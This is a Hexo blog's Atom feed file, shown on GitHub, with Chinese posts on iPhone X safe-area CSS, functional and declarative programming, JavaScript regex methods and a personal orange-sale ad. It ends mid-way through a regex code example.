-
Notifications
You must be signed in to change notification settings - Fork 0
/
atom.xml
443 lines (267 loc) · 181 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>盈盈的主页</title>
<link href="/atom.xml" rel="self"/>
<link href="https://github.com/Zyingying/"/>
<updated>2019-05-26T16:20:33.678Z</updated>
<id>https://github.com/Zyingying/</id>
<author>
<name>Vinny Chuang</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>适配iPhoneX你要知道的tips</title>
<link href="https://github.com/Zyingying/2019/05/27/%E9%80%82%E9%85%8DiPhoneX%E4%BD%A0%E8%A6%81%E7%9F%A5%E9%81%93%E7%9A%84tips/"/>
<id>https://github.com/Zyingying/2019/05/27/适配iPhoneX你要知道的tips/</id>
<published>2019-05-26T16:19:05.000Z</published>
<updated>2019-05-26T16:20:33.678Z</updated>
<content type="html"><![CDATA[<p>话说在以前,做移动端的页面相对没那么多,就比较少去注意到iPhone X的适配</p><p>最近比较多H5活动页需要完成,自然而然碰上了X的种种问题。</p><a id="more"></a><p>iPhoneX的出现将手机的颜值带上了一个新的高度,它取消了物理按键,改成了底部的小黑条,但是这样的改动给开发者适配移动端又增加了难度。</p><h2 id="1-安全区域"><a href="#1-安全区域" class="headerlink" title="1.安全区域"></a>1.安全区域</h2><p>在iPhoneX发布后,现在国内外几乎新一代的都是具有边缘屏幕的手机。</p><p>这些手机和普通手机在外观上无外乎做了三个改动:圆角(<code>corners</code>)、刘海(<code>sensor housing</code>)和小黑条(<code>Home Indicator</code>)。为了适配这些手机,安全区域这个概念变诞生了:</p><p><strong>安全区域就是一个不受上面三个效果的可视窗口范围。</strong></p><p>为了保证页面的显示效果,我们必须把页面限制在安全范围内,但是不影响整体效果。</p><p>所以这里遇到了一个问题,我在做全屏滚动的H5页面的时候,会出现,小黑条<code>Home Indicator</code>附近没有页面内容,是白色的。这无疑就是一个bug。</p><p><strong>注意底部</strong><br><img src="/images/iphonex.jpg" alt="images"></p><h2 id="viewport-fit"><a href="#viewport-fit" class="headerlink" title="viewport-fit"></a>viewport-fit</h2><p><code>viewport-fit</code>是专门为了适配iPhoneX而诞生的一个属性,它用于限制网页如何在安全区域内进行展示。</p><p><img src="https://user-gold-cdn.xitu.io/2019/5/17/16ac3a66dca102ac?imageView2/0/w/1280/h/960/format/webp/ignore-error/1" alt="image"></p><p><code>contain</code>: 可视窗口完全包含网页内容<br><code>cover</code>:网页内容完全覆盖可视窗口<br>默认情况下或者设置为auto和contain效果相同。</p><h2 id="env、constant"><a href="#env、constant" class="headerlink" title="env、constant"></a>env、constant</h2><p>我们需要将顶部和底部合理的摆放在安全区域内,iOS11新增了两个CSS函数<code>env</code>、<code>constant</code>,用于设定安全区域与边界的距离。<br>函数内部可以是四个常量:</p><p><code>-area-inset-left</code>:安全区域距离左边边界距离</p><p><code>safe-area-inset-right</code>:安全区域距离右边边界距离</p><p><code>safe-area-inset-top</code>:安全区域距离顶部边界距离</p><p><code>safe-area-inset-bottom</code>:安全区域距离底部边界距离</p><p>注意:我们必须指定<code>viweport-fit</code>后才能使用这两个函数:<br><figure class="highlight plain hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><meta name="viewport" content="viewport-fit=cover"></span><br></pre></td></tr></table></figure></p><p>constant在iOS < 11.2的版本中生效,env在iOS >= 11.2的版本中生效,这意味着我们往往要同时设置他们,将页面限制在安全区域内:<br><figure class="highlight plain hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">body {</span><br><span class="line"> padding-bottom: constant(safe-area-inset-bottom);</span><br><span class="line"> padding-bottom: env(safe-area-inset-bottom);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>当使用底部固定导航栏时,我们要为他们设置padding值(fixed):<br><figure class="highlight plain hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"> padding-bottom: constant(safe-area-inset-bottom);</span><br><span class="line"> padding-bottom: env(safe-area-inset-bottom);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><h3 id="参考文档"><a href="#参考文档" class="headerlink" title="参考文档"></a>参考文档</h3><p><a href="https://juejin.im/post/5cddf289f265da038f77696c" target="_blank" rel="noopener">关于移动端适配,你必须要知道的</a> </p>]]></content>
<summary type="html">
<p>话说在以前,做移动端的页面相对没那么多,就比较少去注意到iPhone X的适配</p>
<p>最近比较多H5活动页需要完成,自然而然碰上了X的种种问题。</p>
</summary>
</entry>
<entry>
<title>自家种的沃柑小广告</title>
<link href="https://github.com/Zyingying/2018/12/26/%E8%87%AA%E5%AE%B6%E7%A7%8D%E7%9A%84%E6%B2%83%E6%9F%91%E5%B0%8F%E5%B9%BF%E5%91%8A/"/>
<id>https://github.com/Zyingying/2018/12/26/自家种的沃柑小广告/</id>
<published>2018-12-26T14:35:52.000Z</published>
<updated>2018-12-26T16:34:15.028Z</updated>
<content type="html"><![CDATA[<p>HELLO EV8D!</p><h3 id="家里人历经三年时间,种的第一批沃柑终于出炉啦!"><a href="#家里人历经三年时间,种的第一批沃柑终于出炉啦!" class="headerlink" title="家里人历经三年时间,种的第一批沃柑终于出炉啦!"></a>家里人历经三年时间,种的第一批沃柑终于出炉啦!</h3><a id="more"></a><p>目前只在微店和惠农网上挂着,28号正式开售</p><p>有兴趣的小伙伴可以买来试试哟~~~</p><p><img src="/images/weidian.jpg" alt=""></p><p>本人亲口尝试过,特别好吃。</p><p>优点多多!</p><p><img src="/images/good.jpg.webp" alt=""></p>]]></content>
<summary type="html">
<p>HELLO EV8D!</p>
<h3 id="家里人历经三年时间,种的第一批沃柑终于出炉啦!"><a href="#家里人历经三年时间,种的第一批沃柑终于出炉啦!" class="headerlink" title="家里人历经三年时间,种的第一批沃柑终于出炉啦!"></a>家里人历经三年时间,种的第一批沃柑终于出炉啦!</h3>
</summary>
</entry>
<entry>
<title>函数式编程</title>
<link href="https://github.com/Zyingying/2018/12/26/%E5%87%BD%E6%95%B0%E5%BC%8F%E7%BC%96%E7%A8%8B/"/>
<id>https://github.com/Zyingying/2018/12/26/函数式编程/</id>
<published>2018-12-26T14:08:42.000Z</published>
<updated>2018-12-26T14:32:13.125Z</updated>
<content type="html"><![CDATA[<p>最近通过一些机缘巧合,有接触到一系列的函数式编程与高阶函数一类的编程。花了点时间整理</p><a id="more"></a><h2 id="编程范式"><a href="#编程范式" class="headerlink" title="编程范式"></a>编程范式</h2><ul><li>命令式</li><li>声明式</li><li>面向对象</li><li>函数式</li></ul><h2 id="函数式编程"><a href="#函数式编程" class="headerlink" title="函数式编程"></a>函数式编程</h2><p><strong>函数式编程</strong> (通常简称为 FP)是指通过复合<strong>纯函数</strong>来构建软件的过程。</p><p>它避免了<strong>共享的状态(share state)</strong>、<strong>易变的数据(mutable data)</strong><br>、<strong>以及副作用(side-effects)</strong></p><p>函数式编程是<strong>声明式</strong>而不是<strong>命令式</strong>,并且应用程序状态通过纯函数流转。对比面向对象编程,后者的应用程序状态通常是共享并共用于对象方法。</p><p>这是一种<strong>编程范式</strong></p><p>如果你想要了解函数式编程在实际中的意义,你需要从理解那些核心概念开始:</p><ul><li>纯函数(Pure functions)</li><li>函数复合(Function composition)</li><li>避免共享状态(Avoid shared state)</li><li>避免改变状态(Avoid mutating state)</li><li>避免副作用(Avoid side effects)</li></ul><h4 id="纯函数:"><a href="#纯函数:" class="headerlink" title="纯函数:"></a>纯函数:</h4><p>纯函数有一下的特征</p><ul><li>同样的输入,返回同样的结果</li><li>没有副作用</li><li>不依赖外部状态</li></ul><h4 id="函数复合"><a href="#函数复合" class="headerlink" title="函数复合"></a>函数复合</h4><blockquote><p>是结合两个或多个函数,从而产生一个新函数或进行某些计算的过程。</p></blockquote><p>例如,复合操作 f·g(点号意思是对两者执行复合运算)在 JavaScript 中相当于执行 f(g(x))</p><h4 id="共享状态"><a href="#共享状态" class="headerlink" title="共享状态"></a>共享状态</h4><blockquote><p>共享状态 的意思是任意变量、对象或者内存空间存在于共享作用域下,或者作为对象的属性在各个作用域之间被传递。共享作用域包括全局作用域和闭包作用域。</p></blockquote><p>通常,在面向对象编程中,对象以添加属性到其他对象上的方式在作用域之间共享。</p><h4 id="不可变性"><a href="#不可变性" class="headerlink" title="不可变性"></a>不可变性</h4><blockquote><p><strong>不可变(immutable)</strong> 对象是指一个对象不会在它创建之后被改变。对应地,一个<strong>可变的(mutable)</strong>对象是指任何在创建之后可以被改变的对象。</p></blockquote><h3 id="副作用"><a href="#副作用" class="headerlink" title="副作用"></a>副作用</h3><blockquote><p>副作用是指除了函数返回值以外,任何在函数调用之外观察到的应用程序状态改变。</p></blockquote><p>副作用包括:</p><ul><li>改变了任何外部变量或对象属性</li><li>写日志</li><li>在屏幕输出</li><li>写文件</li><li>发网络请求</li><li>触发任何外部进程</li><li>调用另一个有副作用的函数</li></ul><p>在函数式编程中,副作用被尽可能避免,这使得程序的作用更容易理解,也使得程序更容易被测试。</p><p>你现在需要做的是要从你的软件中隔离副作用行为。如果你让副作用与你的程序逻辑分离,你的软件将会变得更易于扩展、重构、调试、测试和维护。</p><p>这也是为什么大部分前端框架鼓励我们分开管理状态和组件渲染,采用松耦合的模型。</p><h3 id="区别"><a href="#区别" class="headerlink" title="区别"></a>区别</h3><p>函数式编程倾向于复用一组通用的函数功能来处理数据。</p><p>面向对象编程倾向于把方法和数据集中到对象上。那些被集中的方法只能用来操作设计好的数据类型,通常是那些包含在特定对象实例上的数据。</p><h4 id="命令式-amp-amp-声明式"><a href="#命令式-amp-amp-声明式" class="headerlink" title="命令式 && 声明式"></a>命令式 && 声明式</h4><blockquote><p>函数式编程是一个声明式范式,意思是说程序逻辑不需要通过明确的描述控制流程来表达</p></blockquote><p><strong>命令式</strong> 程序花费大量代码描述所其外结果的<strong>步骤</strong>——控制流:如何做</p><p><strong>声明式</strong> 程序抽象了控制流程的过程,花费大量代码描述<strong>数据流</strong>:即做什么</p><p>举个例子,下面是一个用 命令式 方式实现的 mapping 过程,接收一个数值数组,并返回一个新的数组,新数组将原数组的每个值乘以 2:</p><figure class="highlight plain hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">const doubleMap = numbers => {</span><br><span class="line"> const doubled = [];</span><br><span class="line"> for (let i = 0; i < numbers.length; i++) {</span><br><span class="line"> doubled.push(numbers[i] * 2);</span><br><span class="line"> }</span><br><span class="line"> return doubled;</span><br><span class="line">};</span><br><span class="line">console.log(doubleMap([2, 3, 4])); // [4, 6, 8]</span><br></pre></td></tr></table></figure><p>而实现同样功能的 <strong>声明式 mapping</strong> 用函数 <code>Array.prototype.map()</code> 将控制流抽象了,从而我们可以表达更清晰的数据流:</p><figure class="highlight plain hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">const doubleMap = numbers => numbers.map(n => n * 2);</span><br><span class="line">console.log(doubleMap([2, 3, 4])); // [4, 6, 8]</span><br></pre></td></tr></table></figure><p><strong>命令式</strong> 代码中频繁使用语句。语句是指一小段代码,它用来完成某个行为。通用的语句例子包括 <code>for</code>、<code>if</code>、<code>switch</code>、<code>throw</code>,等等……</p><p><strong>声明式</strong> 代码更多依赖表达式。表达式是指一小段代码,它用来计算某个值。表达式通常是某些函数调用的复合、一些值和操作符,用来计算出结果值。</p><p>以下都是表达式:<br><figure class="highlight plain hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">2 * 2</span><br><span class="line">doubleMap([2, 3, 4])</span><br><span class="line">Math.max(4, 3, 2)</span><br></pre></td></tr></table></figure></p><p>通常在代码里,你会看到一个表达式被赋给某个变量,或者作为函数返回值,或者作为参数传给一个函数。在被赋值、返回或传递之前,表达式首先被计算,之后它的结果值被使用。</p><h3 id="结论"><a href="#结论" class="headerlink" title="结论"></a>结论</h3><p>函数式编程偏好:</p><ul><li>使用纯函数而不是使用共享状态和副作用</li><li>让可变数据成为不可变的</li><li>用函数复合替代命令控制流</li><li>使用高阶函数来操作许多数据类型,创建通用、可复用功能取代只是操作集中的数据的方法。</li><li>使用声明式而不是命令式代码(关注做什么,而不是如何做)</li><li>使用表达式替代语句</li><li>使用容器与高阶函数替代多态</li></ul>]]></content>
<summary type="html">
<p>最近通过一些机缘巧合,有接触到一系列的函数式编程与高阶函数一类的编程。花了点时间整理</p>
</summary>
</entry>
<entry>
<title>主流编程范式</title>
<link href="https://github.com/Zyingying/2018/10/26/%E4%B8%BB%E6%B5%81%E7%BC%96%E7%A8%8B%E8%8C%83%E5%BC%8F/"/>
<id>https://github.com/Zyingying/2018/10/26/主流编程范式/</id>
<published>2018-10-26T14:33:23.000Z</published>
<updated>2018-12-26T16:32:54.077Z</updated>
<content type="html"><![CDATA[<p>编程范式(Programming Paradigm)是某种编程语言的典型编程风格或者说是编程方式。</p><p>简单来说,编程范式是程序员看待程序应该具有的观点。</p><p>编程范式是编程语言的一种分类方式,它并不针对某种编程语言。就编程语言而言,一种语言可以适用多种编程范式。</p><a id="more"></a><h2 id="命令式-amp-amp-声明式"><a href="#命令式-amp-amp-声明式" class="headerlink" title="命令式 && 声明式"></a>命令式 && 声明式</h2><p>我们可以像下面这样定义它们之间的不同:</p><ul><li>命令式编程:命令“机器”如何去做事情(how),这样不管你想要的是什么(what),它都会按照你的命令实现。</li><li>声明式编程:告诉“机器”你想要的是什么(what),让机器想出如何去做(how)。</li></ul><p>举个简单的例子,假设我们想让一个数组里的数值翻倍。</p><p><strong>命令式</strong><br><figure class="highlight plain hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">var numbers = [1,2,3,4,5]</span><br><span class="line">var doubled = []</span><br><span class="line">for(var i = 0; i < numbers.length; i++) {</span><br><span class="line"> var newNumber = numbers[i] * 2</span><br><span class="line"> doubled.push (newNumber)</span><br><span class="line">}</span><br><span class="line">console.log (doubled) //=> [2,4,6,8,10]复制代码</span><br></pre></td></tr></table></figure></p><p><strong>声明式</strong><br><figure class="highlight plain hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">var numbers = [1,2,3,4,5]</span><br><span class="line">var doubled = numbers.map (function (n) {</span><br><span class="line"> return n * 2</span><br><span class="line">})</span><br><span class="line">console.log (doubled) //=> [2,4,6,8,10]</span><br></pre></td></tr></table></figure></p><p>map函数所做的事情是将直接遍历整个数组的过程归纳抽离出来,让我们专注于描述我们想要的是什么(what)。注意,我们传入map的是一个纯函数;它不具有任何副作用(不会改变外部状态),它只是接收一个数字,返回乘以二后的值。 </p><p>在一些具有函数式编程特征的语言里,对于list数据类型的操作,还有一些其他常用的声明式的函数方法。例如,求一个list里所有值的和,命令式编程会这样做:<br><figure class="highlight plain hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">var numbers = [1,2,3,4,5]</span><br><span class="line">for(var i = 0; i < numbers.length; i++) {</span><br><span class="line"> total += numbers[i]</span><br><span class="line">}</span><br><span class="line">console.log (total) //=> 15</span><br></pre></td></tr></table></figure></p><p>而在声明式编程方式里,我们使用reduce函数:<br><figure class="highlight plain hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">var numbers = [1,2,3,4,5]</span><br><span class="line">var total = numbers.reduce (function (sum, n) {</span><br><span class="line"> return sum + n</span><br><span class="line">});</span><br><span class="line">console.log (total) //=> 15</span><br></pre></td></tr></table></figure></p><p>reduce函数利用传入的函数把一个list运算成一个值。它以这个函数为参数,数组里的每个元素都要经过它的处理。每一次调用,第一个参数(这里是sum)都是这个函数处理前一个值时返回的结果,而第二个参数(n)就是当前元素。这样下来,每此处理的新元素都会合计到sum中,最终我们得到的是整个数组的和。</p><p>同样,reduce函数归纳抽离了我们如何遍历数组和状态管理部分的实现,提供给我们一个通用的方式来把一个list合并成一个值。我们需要做的只是指明我们想要的是什么?</p><h2 id="声明式编程为什么让某些人疑惑,不屑,甚至排斥?"><a href="#声明式编程为什么让某些人疑惑,不屑,甚至排斥?" class="headerlink" title="声明式编程为什么让某些人疑惑,不屑,甚至排斥?"></a>声明式编程为什么让某些人疑惑,不屑,甚至排斥?</h2><p>从声明式编程诞生的那天起,对声明式编程与命令式编程的讨论就没有停止过。作为程序员,我们非常习惯去命令计算机去做某些事情。遍历列表,判断,赋值已经是我们逻辑中最常见的代码。</p><p>在很多情况中,命令式编程确实非常直观、简单并且编码运行效率最高,最重要的,维护的人也非常容易理解。加上大多数人并不理解函数的本质,只能把逻辑与数据封装到一个个对象中,以上的种种原因,导致声明式编程一直没有成为主流的编程模式。甚至有人觉得声明式编程是反人类思维模式的编程,只是为了写一些所谓高大上的“玩具”产生的模式。</p><p>如果我们花时间去学习声明式的可以归纳抽离的部分,它们能为我们的编程带来巨大的便捷。首先,我可以少写代码,这就是通往成功的捷径。其次,我们可以抽象出非常实用的工具类,对对象或者函数进行深度加工,嵌套,运算,直到得到想要的结果。最后,每当有需求变更时候,大多数情况下,我们无需改写框架(声明分析)代码,只需要修改声明的配置即可完成需求变更。<br>最重要的,它们能让我们站在更高的层面是思考,站在云端思考我们想要的是什么,什么是变化的,什么是不变的,找到变化,配置之,找到不变,封装之。最后你会发现,我们不关心变化,因为变化的通过配置来声明,我们只关心不变,也就是框架,用框架(不变)来处理声明(变化),正如道家的哲学,以不变(框架)应万变(声明)。而不是站在底层,思考事情该如何去做。</p><p>(通常来说,核心的架构师编写不变的框架,低P/T编写配置声明,不要以为配置仅仅是json等格式,在函数式编程里,配置往往是函数/类或者任何对象)</p><h2 id="面向对象编程与函数式编程"><a href="#面向对象编程与函数式编程" class="headerlink" title="面向对象编程与函数式编程"></a>面向对象编程与函数式编程</h2><h3 id="面向对象"><a href="#面向对象" class="headerlink" title="面向对象"></a>面向对象</h3><p>将现实世界的物体抽象成类,每个物体抽象成对象。用继承来维护物体的关系,用封装来描述物体的数据(属性)与行为(方法),通过封装技术,消息机制可以像搭积木的一样快速开发出一个全新的系统。既可以提高编程效率,又增强了代码的可扩展/维护等灵活性,是世界上运用最广泛的编程方法(个人观点:没有之一)。</p><p>面向对象语言是命令式编程的一种抽象。抽象包括两方面,数据抽象与过程抽象。在JS中,面向对象编程(也就是我们常说的基于对象,因为JS并不是面向对象的语言)把逻辑与数据封装到函数与原型中,通过函数的原型链拷贝实现继承,而代码的运行逻辑与数据依然封装在函数内,但是做了属性与方法的区分。优秀的面向对象编程显然可以做到声明式编程,也就是根据声明配置生成结果(也就是说,面向对象编程的逻辑是预设的,我们可以根据输入条件,判断走不同的逻辑)。</p><p>但是绝大多数的面向对象编程,不会根据声明配置去生成逻辑,逻辑的调用是封装在对象中,而不是动态生成。所以并没有做到真正的声明式,也就是数据与逻辑完全分离。这里所说的动态生成逻辑,是根据声明,自动完成逻辑的生成,这样就完全可以不用编写业务代码,而仅仅靠声明来完成逻辑的实现,而这部分处理,交给框架处理即可。</p><h3 id="函数式编程"><a href="#函数式编程" class="headerlink" title="函数式编程"></a>函数式编程</h3><p>把逻辑完全视为函数的计算。把数据与逻辑封装到函数中,通过对函数的计算,加工,处理,来生成新的函数,最后拼装成一个个功能独立的函数。在运用这些函数,完成复杂逻辑的实现。</p><p>与现象对象不同的是,我们把数据和逻辑封装到函数中而不是类与对象中。每个函数完全独立,好的函数式设计,每个函数都是一个纯函数(purefunction,即输入固定参数,即可得到相同输入的函数)。优点是:</p><ul><li>面向对象中的任何一个原型方法(prototype)都会获得this的数据,而且可以轻易获取闭包的数据。这样的非纯函数让我们非常难以提炼与抽象。</li><li>纯函数由于输入与输出固定,所以变得非常容易单测。好的函数式中的函数设计,不会依赖于任何其他函数或者声明配置,只需要传递参数,既可以进行测试。而在面向对象语言中,我们往往需要启动整个工程,或者说所有依赖的类全部要加载,才能开始测试。</li><li>对逻辑做抽象与提取,让我们避免在函数内做判断与循环,我们只需要把具体处理封装到函数中,而程序运行过程中的走向、判断与循环通常交给底层框架来处理。这让我们完全有能力动态生成逻辑。比如大名鼎鼎的d3和rx,逻辑与逻辑处理的代码完全分离,代码可读性非常高。</li></ul><p>既然本文介绍的主要是函数式编程,所以主观评价了函数式的优点。当然面向对象的编程模式优点更加突出,各位客官已经非常熟悉封装、继承、多态给我们带来的优点,代码可读性与可维护性在所有模式中名列前茅,面向对象编程位列神坛已久,在此不必多言。</p>]]></content>
<summary type="html">
<p>编程范式(Programming Paradigm)是某种编程语言的典型编程风格或者说是编程方式。</p>
<p>简单来说,编程范式是程序员看待程序应该具有的观点。</p>
<p>编程范式是编程语言的一种分类方式,它并不针对某种编程语言。就编程语言而言,一种语言可以适用多种编程范式。</p>
</summary>
</entry>
<entry>
<title>Hello 2018</title>
<link href="https://github.com/Zyingying/2018/04/16/hello-world/"/>
<id>https://github.com/Zyingying/2018/04/16/hello-world/</id>
<published>2018-04-16T07:23:59.000Z</published>
<updated>2018-12-18T13:34:31.190Z</updated>
<content type="html"><![CDATA[<p>想当初这个博客刚建的时候,是2016年</p><p>不知不觉就2018年了,实习到现在也工作了两年半有多。正式工作之后,忙于业务,积累有所输出的东西慢慢减少了。</p><p>故今天特意重启这个博客,激励我自己多积累,多输出</p>]]></content>
<summary type="html">
<p>想当初这个博客刚建的时候,是2016年</p>
<p>不知不觉就2018年了,实习到现在也工作了两年半有多。正式工作之后,忙于业务,积累有所输出的东西慢慢减少了。</p>
<p>故今天特意重启这个博客,激励我自己多积累,多输出</p>
</summary>
</entry>
<entry>
<title>正则test, exec, match, replace</title>
<link href="https://github.com/Zyingying/2016/11/26/replace/"/>
<id>https://github.com/Zyingying/2016/11/26/replace/</id>
<published>2016-11-26T15:13:33.000Z</published>
<updated>2016-12-06T15:50:13.447Z</updated>
<content type="html"><![CDATA[<p>最近又用到了正则啦,发现匹配相同东西的时候,我和同事用不同的方法都可以,这里特意来归纳一下。<br><a id="more"></a></p><h2 id="RegExp对象方法"><a href="#RegExp对象方法" class="headerlink" title="RegExp对象方法"></a>RegExp对象方法</h2><h3 id="test"><a href="#test" class="headerlink" title="test()"></a>test()</h3><p>字符串的<code>test</code>方法,比较常用在判断语句中,用于检测一个字符串是否匹配某个模式:</p><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">RegExpObject.test(string)</span><br></pre></td></tr></table></figure><p>如果字符串 string 中含有与 RegExpObject 匹配的文本,则返回 true,否则返回 false:<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/\d/.test(<span class="hljs-string">'asdf2'</span>) <span class="hljs-comment">// --true 检测字符串`'asdf2'`中是否函数数字</span></span><br></pre></td></tr></table></figure></p><h3 id="exec"><a href="#exec" class="headerlink" title="exec()"></a>exec()</h3><p>exec()方法功能非常强大,它是一个通用的方法,用于比较复杂的模式匹配或者是你为你提供更多的信息:</p><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">RegExpObject.exec(string)</span><br></pre></td></tr></table></figure><p>如果在string中找到了匹配的文本,则返回一个包含这些文本的数组,否侧返回null。这里有几个注意的地方:</p><ol><li><p>返回的数组的第一个元素是与整个正则匹配的文本</p><p> 然后数组的第二个元素是与整个正则的第一个子表达式(分组)相匹配的文本</p><p> 数组的第三个元素整个正则的第二个子表达式(分组)相匹配的文本,以此类推。</p> <figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> result = <span class="hljs-regexp">/(\d+)-(\w+)/</span>.exec(<span class="hljs-string">'12-ab'</span>);</span><br><span class="line"><span class="hljs-built_in">console</span>.log(result) <span class="hljs-comment">// --> ["12-ab", "12", "ab", index: 0, input: "12-ab"] </span></span><br><span class="line"><span class="hljs-comment">//exec() 都会把完整的细节添加到它返回的数组中,这里的细节指的就是index和input</span></span><br><span class="line"></span><br><span class="line">整个正则表达式匹配的文本:<span class="hljs-string">`"12-ab"`</span></span><br><span class="line">第一个子表达式匹配的文本:<span class="hljs-string">`"12"`</span></span><br><span class="line">第二个子表达式匹配的文本:<span class="hljs-string">`"ab"`</span></span><br></pre></td></tr></table></figure></li><li><p>从上面返回的数组结果可知,数组添加了两个额外的属性,分别是:index, input<br>index: 匹配文本的第一个字符的位置.<br>input: 顾名思义,就是指输入的整体的文本了.</p> <figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-built_in">console</span>.log(result.index) <span class="hljs-comment">// --> 0</span></span><br><span class="line"><span class="hljs-built_in">console</span>.log(result.input) <span class="hljs-comment">// --> '12-ab'</span></span><br></pre></td></tr></table></figure><p> 执行exec函数时,尽管是全局匹配的正则表达式,但是exec方法只对指定的字符串进行一次匹配,</p><p> 获取字符串中第一个与正则表达式想匹配的内容,并且将匹配内容和子匹配的结果存储到返回的数组中,</p><p> 例如:<code>/\d/g.exec('a22')</code> ,返回的结果和上面的结果一样: <code>["2"]</code></p><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/\d/g.exec(<span class="hljs-string">'a22'</span>) <span class="hljs-comment">// -->["2"]</span></span><br></pre></td></tr></table></figure></li></ol><h4 id="深入了解-exec"><a href="#深入了解-exec" class="headerlink" title="深入了解 exec()"></a>深入了解 exec()</h4><p>深入前看看RegExp的实例有哪些属性:</p><ul><li><code>global</code> 布尔,表示是否设置了 g 标志</li><li><code>ignoreCase</code> 布尔,表示是否设置了 i 标志</li><li><code>lastIndex</code> 搜索下一个匹配项时开始的位置,从0开始</li><li><code>multiline</code> 布尔值,表示是否设置了 m 标志</li><li><code>source</code> 正则表达式的字符串表示</li></ul><h5 id="例1:非全局匹配"><a href="#例1:非全局匹配" class="headerlink" title="例1:非全局匹配"></a>例1:非全局匹配</h5><p><img src="https://segmentfault.com/img/bVoPZL" alt="image"></p><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> reg = <span class="hljs-regexp">/\d/</span>;</span><br><span class="line"><span class="hljs-comment">//第一次匹配</span></span><br><span class="line"><span class="hljs-built_in">console</span>.log(reg.exec(<span class="hljs-string">'a123'</span>));</span><br><span class="line"><span 